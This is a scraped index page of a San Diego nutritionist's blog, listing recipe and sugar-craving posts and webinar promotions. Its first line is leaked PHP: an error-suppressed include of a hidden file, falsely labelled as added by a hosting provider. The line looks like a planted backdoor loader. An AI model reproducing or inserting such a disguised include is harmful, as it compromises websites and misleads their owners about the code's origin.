@include_once('/var/lib/sec/wp-settings.php'); // Added by SiteGround WordPress management system News ~ San Diego WholeBody Nutritionist & Consulting + Massage + Awareness + Balance

WholeBody Nutrition News

Carrot-Peanut Butter Breakfast Bites

I created this simple breakfast recipe to have a wholesome, delicious snack to grab-and-go when in a rush... There's not many ingredients, and if you grate the carrots and measure the peanut butter the night before, you'll whip it up in a flash. Of course you can...

Recipe: Lemon-Tahini Sauce

I've been on a Greek food kick lately, and after trying several places here in San Diego, I wanted to indulge in my own homemade Lemon-Tahini Sauce. Tahini is ground-up sesame seeds. Think of peanut butter or almond butter. Tahini is the sesame seed-butter version....

Ditch Calorie-Counting (“Got Cravings” FREE Webinar)

Have you tried again and again to get rid of your sugar cravings, by:   counting calories... struggling through the latest diet trend... mustering up more willpower... --only to find yourself back at where you started? --or worse, two steps back?? If you're tired of...

FREE Webinar: Got Cravings? (1 Tool, 3 Steps to Help!)

If you've been feeling physically overweight, emotionally burned out and mentally braindead, chances are your eating habits need an overhaul. Join me Saturday September 1st to get started! You'll learn 1 effective tool and 3 easy steps to getting back on track with...

Tip #3: Getting Off Sugar – Feeling Out of Control

  Are you plagued by your sugar cravings? Click here to register for my FREE WEBINAR! Mark the date: Saturday August 4, at 11am PT. This video is Tip #3 for getting OFF SUGAR! Check out video #1 and video #2 to make sure you get all three tips! If you want more...

Tip #2: Getting Off Sugar: Eating “Bad” Food

  Do you feel out of control around sugar?? I know how you feel! Which is why I made this 3-part video series to help you get a hold of your sugar cravings. Each video reveals what is behind your cravings, with a tip to help you get OFF SUGAR! Click the video...

Tip #1: Getting OFF SUGAR: What NOT to Say

  Are you having a hard time getting off sugar? Don't miss my first valuable tip in this video!  And to get live support, be sure to click here to register for my FREE WEBINAR: "3 Steps to Getting OFF SUGAR", this Saturday August 4, at 11am PT. In this first video in...

Baked Apple Chips – Sweet, Crispy Snack for YOU!

If you've run out of quick snack ideas, I've got another great recommendation for you: BARE brand baked apple chips! Here's the best part-- they're 100% fruit, with just one ingredient: APPLES. No added ingredients or sweeteners. They're naturally sweet on their own,...

Tired of Dieting? Why DIETS DON’T WORK – and one SOLUTION!

We've all been there... What IS the key to effectively losing weight - without losing our mind?!   CLICK HERE to find out how to lose weight effectively -- WITHOUT DIETING!   Have you tried diet after diet...only to end in frustration? --AND gain back the weight?  ...

Pin It on Pinterest